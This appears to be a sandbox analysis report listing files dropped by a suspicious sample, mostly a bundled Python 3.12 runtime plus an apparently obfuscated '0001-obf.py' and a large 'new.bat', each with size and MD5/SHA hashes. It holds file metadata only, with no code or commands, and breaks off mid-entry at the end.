9e1dd8887ac56417cc516d0ba680749b351ae7b12770e188b56deedf4971586df81d7825a48afaa47554b4bd8edf427beacdf81336959c58ad6f13d4ea5b37a1

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.wav

Filesize
64B

MD5
eb0b6503152295540c09094b1d64a6a3

SHA1
d82d8deb9f0c69515fdaec06bcb9345472bbd94c

SHA256
54e018785efc750bbbafe910f4b4e4240995b5a2143a4341dc5c1bb73151c1d8

SHA512
1b3edf97c8f6cc247c532ff7640c660c73bbcd4ff769c21fa7dd550fcb799a304b5aabe6a6b73ac878f7e11570651a264c3c31ca3a3f81cbe19fcef5c4f61140

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_import\data\circular_imports\subpkg\util.py

Filesize
23B

MD5
26de9aa26f4f0b109363b91eb9f8bb97

SHA1
f86b316ac1901528bb35fe725cf08b8017a93cdc

SHA256
0a00579f58936a271c5a5e903d2d4f26bfa11347f83222f217263bf2ecfd546c

SHA512
c6d1cccec9cc49cad8f16fe1795adba660beacdff157daa175bcc96da4eb92afba294ffc32fe3dae87ff6399c0a98a3475040f5aa92db8129b94d0d05d516e5e

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\namespace_pkgs\not_a_namespace_pkg\foo\one.py

Filesize
27B

MD5
002c0c3dd72075ea93c1f9f17bc55009

SHA1
c8b6fb242803e9b5cdb675455f6bc8d585d04d0e

SHA256
8f083d9f27afa6518d7b058bb322d3e79c0becf9f38a96334ad7a3cc4b3483fa

SHA512
1598b79a6357932b08b3ab8d6b6af424a697d7770b71984808f9d2375bb64ef68e31f23106d8b4dcb4d70cbb814497298cb6133c67eae83035b561848110c20d

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\resources\data01\utf-16.file

Filesize
44B

MD5
ff6357f0940465f479305cbe0ba8f78f

SHA1
3bf88b182117dce769d0cb03fb14ab771f827649

SHA256
b79abdaa1c57d2b62a22d04e33c0f7ca5c06f911eb9ce62d7932ed42beac17b8

SHA512
11989f26c71c2879e0083fb436286238f50069ea3c7771c5b25b278e589ad4262a12f580a8c082fea291f0264f1ac212a169ea4ec5b44b1232070cc9797a0307

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\resources\data01\utf-8.file

Filesize
20B

MD5
58da4ec0dd953291e42b4a78598913da

SHA1
7e13931923104bda5ae0fe40db20d0aaf51610f9

SHA256
9305a0606e3243e645d97fd603ae848d83e6c49467fb0f1a48e892f5ef2d2986

SHA512
039c0ad2c558a7d3a5d26e5e2872833c84d837947851085989c44ef5c5c17f4381197284e19b2c96767a2646ed23ab360c6a2ad533b79f078e744655ce4c5ccd

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_unittest\__init__.py

Filesize
154B

MD5
e1b27d214a1714271983ee7f7f5c9f37

SHA1
c62c91feeb1f5ae570b5c9c03ae29ee445639429

SHA256
329743706d4d31db91597c27c0e61f754473b15fb89c52b67ffbd5d6b9d6041a

SHA512
a0a7604f0c7abcbb677fd182345f04be971b40a784bcf28efe62eee18090672222468791e981754b1900b9f0830139ea9bf09e2103e3b0e9a1a5adca26cdba09

Download Submit
C:\Users\Admin\Downloads\Print\Python312\pythonw.exe

Filesize
99KB

MD5
9495073209d324b0da226eaf8e5ed8de

SHA1
9556dc9b2aecb25d2e963589f2906456470cbb49

SHA256
3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f

SHA512
0677f1a93b73d8dd8605a660e41b5f4d570aee8021ba1563a094aaf901ad3dd600f9dafa24f36103b46c80d22b27ab9f69c540b3d4c1025f4efea1687795c752

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tcl8.6\encoding\euc-cn.enc

Filesize
84KB

MD5
c5aa0d11439e0f7682dae39445f5dab4

SHA1
73a6d55b894e89a7d4cb1cd3ccff82665c303d5c

SHA256
1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00

SHA512
eee6058bd214c59bcc11e6de7265da2721c119cc9261cfd755a98e270ff74d2d73e3e711aa01a0e3414c46d82e291ef0df2ad6c65ca477c888426d5a1d2a3bc5

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\drivea.xbm

Filesize
904B

MD5
a4ec724dc948f7094dc0eacb5a960f40

SHA1
0fcfe0dd79a951a593256a7257a7410a0294f546

SHA256
459e941ecd87984672bf1255da19a8de74f114e173e838f6b85ac734e7ef5fd1

SHA512
2c6ccda98d2c665dffb7e7340ad44822780e20e3ebb0493b58a313c0c46a62bb21be94ca0e3226aa52f410cf6ce3f0c2b2c95a0434c6e0678e77ec4ca55eec32

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\drivea.xpm

Filesize
1KB

MD5
93d39c85d0d9052a1eb932904e93da24

SHA1
6fd812fca35b166ba57c7a4e4a21c3d1a371959d

SHA256
05164d5becdda54104b20bc8f7358f627be9f2602d6b3e344a3033d92e73d148

SHA512
7032169b5952043fefb0856c01acf7cfa1632a4ecab4f460b0634cd8d5bc0de270f32586246b44eca13ce555bc893d44b1f659e125fef1fb1854dfb4ed89be55

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\netw.xbm

Filesize
898B

MD5
23f6b504a1004a9a2c91d0fcf5bce9b2

SHA1
4ea189c3af76a7df714c397bea1e32c1625d115c

SHA256
9efee21d14731a4d7b3bd7d9e3c02198bca7195173e009c25ef54a7538c93780

SHA512
0b82bdfebb4fad94b74207d23616633eee955f8203a020f4f4b957e61efece1609440741a60822e4884fadf4dddf43cae34b519b64a5e018e7a8031e8cd561b4

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\netw.xpm

Filesize
1KB

MD5
5165aae8ed4c6ee20b9aa6c3304e8042

SHA1
2404f7443e8797e335dd6bd93d8cf67dec291482

SHA256
068e6f025c1e4bb5b019ff51416fcedd4e5d211d5fca99412b19ded1295b2556

SHA512
ba573c5eb9f92f5c31236a35b021b366e4450b26f077f4c0f18ffd7f83a590e8e8415f7ecf057186ae0b0178ba04b13f5060c705c4a05fdd1a1ed4ffb911d0a9

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tk8.6\demos\images\tcllogo.gif

Filesize
2KB

MD5
ff04b357b7ab0a8b573c10c6da945d6a

SHA1
bcb73d8af2628463a1b955581999c77f09f805b8

SHA256
72f6b34d3c8f424ff0a290a793fcfbf34fd5630a916cd02e0a5dda0144b5957f

SHA512
10dfe631c5fc24cf239d817eefa14329946e26ed6bcfc1b517e2f9af81807977428ba2539aaa653a89a372257d494e8136fd6abbc4f727e6b199400de05accd5

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tk8.6\demos\license.terms

Filesize
2KB

MD5
f090d9b312c16489289fd39813412164

SHA1
1bec6668f6549771dadc67d153b89b8f77dcd4b9

SHA256
0d1e4405f6273f091732764ed89b57066be63ce64869be6c71ea337dc4f2f9b5

SHA512
57b323589c5a8d9cbb224416731d8ce65c4b94146df15ce30885df63b1d0b3f709093b65390a911f84f20b7c5de3c0af9b4d7d531742be046eda6e8c3432ef6e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\0001-obf.py

Filesize
4.5MB

MD5
ebf72a730a4a5ede55673a9054386adb

SHA1
98ae47d5a5cffcbff9b81e0d3c6ed44ed5c15ac4

SHA256
7af584e6b6043596346e2c28bc5e045c6716a9f31b4d47eed0e9fead5217a1e2

SHA512
e07f1668c651ed257ed2218f997975b6f2c11bdf553e8ce03ae39b8ad7835b7ec7523e6211c6efaeedcf8a21105fe9572c80923633097489f64ec1f75338bf28

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_ctypes.pyd

Filesize
122KB

MD5
bbd5533fc875a4a075097a7c6aba865e

SHA1
ab91e62c6d02d211a1c0683cb6c5b0bdd17cbf00

SHA256
be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570

SHA512
23ef351941f459dee7ed2cebbae21969e97b61c0d877cfe15e401c36369d2a2491ca886be789b1a0c5066d6a8835fd06db28b5b28fb6e9df84c2d0b0d8e9850e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\libffi-8.dll

Filesize
38KB

MD5
0f8e4992ca92baaf54cc0b43aaccce21

SHA1
c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

SHA256
eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

SHA512
6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\base64.cpython-312.pyc

Filesize
23KB

MD5
6a425637cb61c65ae8cfe0d83e6e3b77

SHA1
d7615d5216ab6d69fbff349bf7e12fe5aa45c741

SHA256
575e9d22cf5e94a7c15044c45bd8f7c03fce5b8b92336651d57ea5e20da188f4

SHA512
84ca7a4f05bc5fbef41fde057dc10a6cc252c4a371b28657085766638a04beacff22c2ac1588d7b077cac6eebe5bfc7c8aadf4ce4f8468282c2a336f7b8d3e27

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\enum.cpython-312.pyc

Filesize
78KB

MD5
bb08f420f5dfd2344aa42e77cd36669c

SHA1
5e6f66233b1a85bfb8fa1812b8f3b1f63e68151c

SHA256
23440df45b19d66e0d6177162bb06eb02415cdb8b7ff3acc5bf8b17fd463b1f1

SHA512
c2811310838e4ba03211117bb06e8434633365959f9e29888450fcaff1d9de0349b65d91f7e3a6603ce9bcaf79e88f5b48e5c557575fda61e4569c8953c9c34a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\functools.cpython-312.pyc

Filesize
39KB

MD5
a8cf4f3f701751740dac394fc396aec7

SHA1
73c5cc6c6d08080e788337494b2c39b9703423b6

SHA256
3334f1b6609e60a7c5b4d5630654de245ff9a5c8a7072671a850b4a2056319e9

SHA512
84e64b35e08e73dffc66d490c52f199fc10f13fab4aab5fd65cb0a1539f555bee6e3524fd353a468a637db165421a6854954e14674dbee12625a6300e092a323

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\keyword.cpython-312.pyc

Filesize
1KB

MD5
f54b9393d80136be78dcddae5e1d2aef

SHA1
2ae1577de2c4c448bb8b6c20e4a56268720d175e

SHA256
59dc1abb094e9a7cf5277a32ad4e0a285a6530713915627e1a2866f5847359de

SHA512
813e471182247c2f0c5e2f1cc49130d510fdce2eac3e214a2c63f3fba9f5f21a67f5b669997129cfa25e09465ae9e0b62bfe5da3100a87f95ad2701c6869b132

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\operator.cpython-312.pyc

Filesize
16KB

MD5
9439ffb1d4bbb5cc97e565e7431c4faf

SHA1
c929fec735d8281ef0e31961b2aae75a8de84b12

SHA256
7b691b1b0892c1ac26351847b8e4740cf395e0ef78900efc6d37290f68811691

SHA512
38844f9c8953641d1145d194d4f2700fa74865d6b6a1da5b5174081c610486266cd7cda770d0d366a5fa0186c55bbddb2cab399b9e921196579759a0b58f9ffb

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\struct.cpython-312.pyc

Filesize
364B

MD5
29ae69bad548bcb4adc79ed4bd7f073d

SHA1
4ce183af84f7cb3c428ef87d97c03c871417026d

SHA256
038ef897ce5864486e09285946d54c459421b7d10253565c1e2a13857d78b6a9

SHA512
fb90f1ddddadd634af51d8af4d0cd0a8b5011c754d068410bc723c3f6a442f8bdf8105d69f4f77539c5ffb8c446ece7dbcd84a2f40483d3b7f54fe4e76fb3e08

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\types.cpython-312.pyc

Filesize
14KB

MD5
c5d38a269d5b92e2bfde072a30c45e33

SHA1
23a0d92d7c87656b952439d7c8bba43049bd535e

SHA256
83437236d1d5c63d0e5ab989e104cd3bbce11ea2b3509bded6bac3376a360f5b

SHA512
7ff7179e86f9581d1f71459ca1c6959e0e9cfda2840f26df13f84fab36b823ca10fd5c3966209021348e723269f22afcc69cb089230c86ec5d2d6ae5c10cd505

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\base64.py

Filesize
20KB

MD5
231ae490d92466b1573e541649772154

SHA1
4e47769f5a3239f17af2ce1d9a93c411c195a932

SHA256
9e685425290c771df1a277b5c7787ad5d4cf0312f2c4b042ce44756df6a3d112

SHA512
7084b49f0788bfbe035bc2fe42db7a63b21ebc99f63c03f80dec5569067c1e63312d8c5a754f2d72d7c9bb51fa23ca479fcba78682610eb2b68870cbeae1bea3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\collections\__init__.py

Filesize
52KB

MD5
251382c3e093c311a3e83651cbdbcc11

SHA1
28a9de0e827b37280c44684f59fd3fcc54e3eabd

SHA256
1eb4c4445883fd706016aca377d9e5c378bac0412d7c9b20f71cae695d6bb656

SHA512
010b171f3dd0aa676261a3432fe392568f364fe43c6cb4615b641994eb2faf48caabf3080edf3c00a1a65fc43748caaf692a3c7d1311b6c90825ffce185162b0

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\collections\__pycache__\__init__.cpython-312.pyc

Filesize
71KB

MD5
5ded9aebc5bb1b2b7d27443e6e0a9437

SHA1
32c060890716c8aced35c92e2e7ba23199a2fd7a

SHA256
8589a1421368d7b06c7ff575007d85b5cade092062f814b7aa4873c2beade5bc

SHA512
7509ef1cfc98629fb5916a2913225098d4a84ecd7bb2cac13df80486dc11b478d1e605b1e2bf3b9df89364049de1289269b48b389313937786be985088700af5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__init__.py

Filesize
18KB

MD5
d0859d693b9465bd1ff48dfe865833a3

SHA1
978c0511ef96d959e0e897d243752bc3a33ba17c

SHA256
bb22c1bd20afd47d33fa6958d8d3e55bea7a1034da8ef2d5f5c0bff1225832c0

SHA512
093026a7978122808554add8c53a2ead737caf125a102b8f66b36e5fd677e4dc31a93025511fcf9d0533ad2491d2753f792b3517b4db0cfe0206e58a6d0e646c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__pycache__\__init__.cpython-312.pyc

Filesize
22KB

MD5
e2b942b6814a6d1cad2e720a7b7c1bc6

SHA1
b1af27740ba54ff33ad8a788e0bea405e4053e7b

SHA256
2eb5ccbed547f4cb54bd86d1bbdd8a91bdb9f4d7758b09279ba6bca889ef4d5c

SHA512
5a0248bf8670f28d5c727d33e7d1857c91413a86e3420676c0e35d342252bd638485d25cc7c9e1f42a0cf18330c842f5a5efeb6bc8f1923620b52a99868215c8

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__pycache__\_endian.cpython-312.pyc

Filesize
3KB

MD5
0fda9dc9c51560c5455ddc99b95dcfe8

SHA1
46794653086d98b8d64eee575e7a04689beea63a

SHA256
4bed1c75e896df05229e609fd827d94a5382e92b158595141b487a70600d5c35

SHA512
7c110f406deafad91d00468d23c38cc0e76a189ded1e8d9491dc3692fbeb5887cad20ee10a0a97b989fdd67529b2fb8b5ad4e183d535dab1d0f1f254503c83c7

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\_endian.py

Filesize
2KB

MD5
7daa213263c75057cf125267b7fdfbd3

SHA1
efb9403d8e3f09734f6b2ba3889b274997d0a039

SHA256
8c5b9ac7306dcf98856c9b815a5fc604ba0f47acab15ac47ad858499c6981579

SHA512
1e00f043ab8f3f77a81c8c6ea6760625bcdf2eccbef6432266f75e89f28778b48bd2709dbcf9d70a4a4e1384629aed31c7fdacdf4723fe18f36b6d9366b03921

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__init__.py

Filesize
5KB

MD5
ea0e0d20c2c06613fd5a23df78109cba

SHA1
b0cb1bedacdb494271ac726caf521ad1c3709257

SHA256
8b997e9f7beef09de01c34ac34191866d3ab25e17164e08f411940b070bc3e74

SHA512
d8824b315aa1eb44337ff8c3da274e07f76b827af2a5ac0e84d108f7a4961d0c5a649f2d7d8725e02cd6a064d6069be84c838fb92e8951784d6e891ef54737a3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\__init__.cpython-312.pyc

Filesize
5KB

MD5
5793df77b697f1109fe6473952792aca

SHA1
99d036fd2a4e438bfb89c5cf9fab62292d04d924

SHA256
6625882aff1d20e1101d79a6624c16d248a9f5bd0c986296061a1177413c36f3

SHA512
809eb8fc67657cc7e4635c27921fffa1d028424724542ef8272a2028f17259c11310e6e4ddfe8c4b2c795e536a40300ec6d6b282b126de90698716cde944e5ad

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\aliases.cpython-312.pyc

Filesize
12KB

MD5
1f1314b9020e3c6fe612e34124f9f2b0

SHA1
058c5eb8ff54f49905a5579ccdfccb38de087e97

SHA256
9c262190210f884f24e4d227cb6e4e9706b2909ff4ab18917bb9c86da0ddde26

SHA512
f1db57c6456def9001201e5db14523ab2cd97c6aba200699aff11a6e8d352009f072281fdec93cd764c4083778efeab2e34e1b0240b0938c4e0b10763b21bf76

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\cp1252.cpython-312.pyc

Filesize
3KB

MD5
d42473ce94dd1209f1a2b65e7cc79d8f

SHA1
56001bd8a180e758e23fa9ff6fe37ec5fc29b6dc

SHA256
d7dc1703ebe0364c99ed7c8b02423b80c2ee6f48f31023ca8b7b836e83dc50db

SHA512
a523186188060a51849627c3dda24d39b414fa613ae7ab3895ed9b108cc96843019bc2fa475462ef33490bac9ee3e76dd868e699055341f66821557141db478b

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\utf_8.cpython-312.pyc

Filesize
2KB

MD5
6f9bafab786fdd627c247fbe8e85de01

SHA1
ce99d8bfaa08e52be5dece42c851684458116988

SHA256
a225709104aa9d764c01de396add10bbcfb96a7ae019af69d8de81a683b1f245

SHA512
f53cce6e51e00cb120213810f74016fee82a62be4ed7b5fcdfaefa5f03eaca2e9fc01ad0b7e24860f82d8f2c34fd967e62aeeb04b6a59fe10553c36c96cc79b9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\aliases.py

Filesize
15KB

MD5
ff23f6bb45e7b769787b0619b27bc245

SHA1
60172e8c464711cf890bc8a4feccff35aa3de17a

SHA256
1893cfb597bc5eafd38ef03ac85d8874620112514eb42660408811929cc0d6f8

SHA512
ea6b685a859ef2fcd47b8473f43037341049b8ba3eea01d763e2304a2c2adddb01008b58c14b4274d9af8a07f686cd337de25afeb9a252a426d85d3b7d661ef9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\cp1252.py

Filesize
13KB

MD5
52084150c6d8fc16c8956388cdbe0868

SHA1
368f060285ea704a9dc552f2fc88f7338e8017f2

SHA256
7acb7b80c29d9ffda0fe79540509439537216df3a259973d54e1fb23c34e7519

SHA512
77e7921f48c9a361a67bae80b9eec4790b8df51e6aff5c13704035a2a7f33316f119478ac526c2fdebb9ef30c0d7898aea878e3dba65f386d6e2c67fe61845b4

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\utf_8.py

Filesize
1KB

MD5
f932d95afcaea5fdc12e72d25565f948

SHA1
2685d94ba1536b7870b7172c06fe72cf749b4d29

SHA256
9c54c7db8ce0722ca4ddb5f45d4e170357e37991afb3fcdc091721bf6c09257e

SHA512
a10035ae10b963d2183d31c72ff681a21ed9e255dda22624cbaf8dbed5afbde7be05bb719b07573de9275d8b4793d2f4aef0c0c8346203eea606bb818a02cab6

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\enum.py

Filesize
81KB

MD5
3a87f9629edad420beb85ab0a1c4482a

SHA1
30c4c3e70e45128c2c83c290e9e5f63bcfa18961

SHA256
9d1b2f7dd26000e03c483bc381c1af20395a3ac25c5fd988fbed742cd5278c9a

SHA512
e0aed24d8a0513e8d974a398f3ff692d105a92153c02d4d6b7d3c8435dedbb9482dc093eb9093fb86b021a28859ab541f444e8acc466d8422031d11040cd692a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\functools.py

Filesize
38KB

MD5
3638d2608c42e3a3bf3b2b1c51b765f4

SHA1
be947a9b8301bbedf2406416ac908963279b46cd

SHA256
bd6f192c31c5e266ad9eec9f550b8bc485f90d583764ff81aa3f36d1209f005e

SHA512
14b60f0b5119b90fcd4db3b0aeb48ec4ca9775910470178796ba54c0d16f8887b9a3d283f925af779a1cc6bc99d25f016cccbf2bb72d4a9099bb821a54a2b418

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\keyword.py

Filesize
1KB

MD5
a10df1136c08a480ef1d2b39a1f48e4a

SHA1
fc32a1ff5da1db4755ecfae82aa23def659beb13

SHA256
1f28f509383273238ad86eda04a96343fa0dc10eeaf3189439959d75cdac0a0b

SHA512
603f6dc4556cbbd283cf77233727e269c73c6e1b528084e6c6234aefd538313b4acc67ca70a7db03e015a30f817fcfedda2b73de480963ae0eefd486f87463cd

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\operator.py

Filesize
11KB

MD5
dc7484406cad1bf2dc4670f25a22e5b4

SHA1
189cd94b6fdca83aa16d24787af1083488f83db2

SHA256
c57b6816cfddfa6e4a126583fca0a2563234018daec2cfb9b5142d855546955c

SHA512
ac55baced6c9eb24bc5ecbc9eff766688b67550e46645df176f6c8a6f3f319476a59ab6fc8357833863895a4ef7f3f99a8dfe0c928e382580dfff0c28ca0d808

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__init__.py

Filesize
16KB

MD5
02f3e3eb14f899eb53a5955e370c839f

SHA1
e5c3ab0720b80a201f86500ccdc61811ab34c741

SHA256
778cdca1fe51cddb7671d7a158c6bdecee1b7967e9f4a0ddf41cfb5320568c42

SHA512
839fde2bfd5650009621752ccbceea22de8954bf7327c72941d5224dc2f495da0d1c39ba4920da6314efd1800be2dab94ac4ce29f34dc7d2705fcb6d5ab7b825

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__pycache__\__init__.cpython-312.pyc

Filesize
17KB

MD5
dd2891a001b7a253aec124836d20a4b5

SHA1
91f34a7b0204aae4aacef46bb8ce8add60421d3d

SHA256
e71aac7c0a44cf181682c8887ab2139e5d894f94edde24085a26feecbefb77c9

SHA512
d88dc7450eec5742b9d21f95062cf04ebbf3712d6e20acd4eabafa3cc176d04980f92574a69f32dccbea0454e509660ac4f90e5e49becb54c4c0cd2ee3da2051

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\reprlib.py

Filesize
6KB

MD5
dfda46ef7019ab30afa5183cf035263d

SHA1
b7cece019304f0c6836c148f85dd3c920c5cd654

SHA256
354fd4471a2d8c5972e67a38a8eb40040f12bd9b6acd260a889efed250770f0b

SHA512
62b6da4124537fe2e891aafe5e7c901368c6f498f5d0de83d524fa2653f9aec731bc8151790fcfe36900b65ff36bb0165142f074977e8b2c808bf0507257adb9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\struct.py

Filesize
272B

MD5
5b6fab07ba094054e76c7926315c12db

SHA1
74c5b714160559e571a11ea74feb520b38231bc9

SHA256
eadbcc540c3b6496e52449e712eca3694e31e1d935af0f1e26cff0e3cc370945

SHA512
2846e8c449479b1c64d39117019609e5a6ea8030220cac7b5ec6b4090c9aa7156ed5fcd5e54d7175a461cd0d58ba1655757049b0bce404800ba70a2f1e12f78c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\cjkencodings\shift_jis-utf8.txt

Filesize
1KB

MD5
cc34bcc252d8014250b2fbc0a7880ead

SHA1
89a79425e089c311137adcdcf0a11dfa9d8a4e58

SHA256
a6bbfb8ecb911d13581f7713391f8c0ceea1edd41537fdb300bbb4d62dd72e9b

SHA512
c6fb4a793870993a9f1310ce59697397e5334dbb92031ab49a3ecc33c55e84737e626e815754c5ddbe7835b15d3817bf07d2b4c80ea5fd956792b4db96c18c2f

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\__init__.py

Filesize
147B

MD5
c3239b95575b0ad63408b8e633f9334d

SHA1
7dbb42dfa3ca934fb86b8e0e2268b6b793cbccdc

SHA256
6546a8ef1019da695edeca7c68103a1a8e746d88b89faf7d5297a60753fd1225

SHA512
5685131ad55f43ab73afccbef69652d03bb64e6135beb476bc987f316afe0198157507203b9846728bc7ea25bc88f040e7d2cb557c9480bac72f519d6ba90b25

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\builtin\__main__.py

Filesize
62B

MD5
47878c074f37661118db4f3525b2b6cb

SHA1
9671e2ef6e3d9fa96e7450bcee03300f8d395533

SHA256
b4dc0b48d375647bcfab52d235abf7968daf57b6bbdf325766f31ce7752d7216

SHA512
13c626ada191848c31321c74eb7f0f1fde5445a82d34282d69e2b086ba6b539d8632c82bba61ff52185f75fec2514dad66139309835e53f5b09a3c5a2ebecff5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\resources\namespacedata01\binary.file

Filesize
4B

MD5
37b59afd592725f9305e484a5d7f5168

SHA1
a02a05b025b928c039cf1ae7e8ee04e7c190c0db

SHA256
054edec1d0211f624fed0cbca9d4f9400b0e491c43742af2c5b0abebf0c990d8

SHA512
4ec54b09e2b209ddb9a678522bb451740c513f488cb27a0883630718571745141920036aebdb78c0b4cd783a4a6eecc937a40c6104e427512d709a634b412f60

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_pydoc\__init__.py

Filesize
138B

MD5
4a7dba3770fec2986287b3c790e6ae46

SHA1
8c7a8f21c1bcdb542f4ce798ba7e97f61bee0ea0

SHA256
88db4157a69ee31f959dccbb6fbad3891ba32ad2467fe24858e36c6daccdba4d

SHA512
4596824f4c06b530ef378c88c7b4307b074f922e10e866a1c06d5a86356f88f1dad54c380791d5cfda470918235b6ead9514b49bc99c2371c1b14dc9b6453210

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\types.py

Filesize
11KB

MD5
8303d9715c8089a5633f874f714643a7

SHA1
cdb53427ca74d3682a666b83f883b832b2c9c9f4

SHA256
d7ce485ecd8d4d1531d8f710e538b4d1a49378afacb6ff9231e48c645a9fa95e

SHA512
1a6ca272dde77bc4d133244047fcc821ffcb3adee89d400fe99ece9cf18ab566732d48df2f18f542b228b73b3402a3cace3cd91a9e2b9480b51f7e5e598d3615

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Scripts\pip3.12.exe

Filesize
105KB

MD5
ece8006a0714b569546a3f789638a55a

SHA1
520ba56fd30bcf1e08eefb390d392905c3470936

SHA256
e9059568c5f1200915f581cf582da6465d68a4b558972c6b5e3501f4aa63de7b

SHA512
bb8926c7938da517104afab2f34c8dfc3bfb8c64241770b6e36f1170b87059d32e9b81b9b0451735718e62be123c27f6a053630c85e1b5b21ede6aca7062fe5c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\python.exe

Filesize
100KB

MD5
3d44212bba2d7a88d6c83ce8523bba88

SHA1
62ea5374c17b0f2f88f7d4a6c03b592393dba6f8

SHA256
15b41a488c356c0e331facdea6c836a6cec021f12d5fde9844e7ca4a1aa0361a

SHA512
89297f1fbe811b23a38fc3dbc22989dfb9faf97960c65f1f0f43be710204b32f41f33ef0bb893815db71c4462d04b52f686b40801f6d4cbd8e529d740618ac67

Download Submit
C:\Users\Admin\Downloads\Python\Python312\python3.dll

Filesize
66KB

MD5
79b02450d6ca4852165036c8d4eaed1f

SHA1
ce9ff1b302426d4c94a2d3ea81531d3cb9e583e4

SHA256
d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123

SHA512
47044d18db3a4dd58a93b43034f4fafa66821d157dcfefb85fca2122795f4591dc69a82eb2e0ebd9183075184368850e4caf9c9fea0cfe6f766c73a60ffdf416

Download Submit
C:\Users\Admin\Downloads\Python\Python312\python312.dll

Filesize
6.6MB

MD5
3c388ce47c0d9117d2a50b3fa5ac981d

SHA1
038484ff7460d03d1d36c23f0de4874cbaea2c48

SHA256
c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb

SHA512
e529c5c1c028be01e44a156cd0e7cad0a24b5f91e5d34697fafc395b63e37780dc0fac8f4c5d075ad8fe4bd15d62a250b818ff3d4ead1e281530a4c7e3ce6d35

Download Submit
C:\Users\Admin\Downloads\Python\Python312\vcruntime140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\Downloads\new.bat

Filesize
13.0MB

MD5
fa7d31fe5607567d7240f15f27a7fd08

SHA1
192e1240b664bdee1ac923c12af86d0552bd9774

SHA256
830b295a70e3db6aa9e9c343bc76b59015cf1e88124efaae9713d726b6381cd2

SHA512
e57ce88a41c1014189b4b4ebeda0f660cb23251fda834de5be591859b5769b6fb0b368be5634072f8083add8401abec4d92beb668263b7458571b70f94b7f4fd

Download Submit
\??\pipe\LOCAL\crashpad_636_IRKVCPPVHDBHDKQX

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
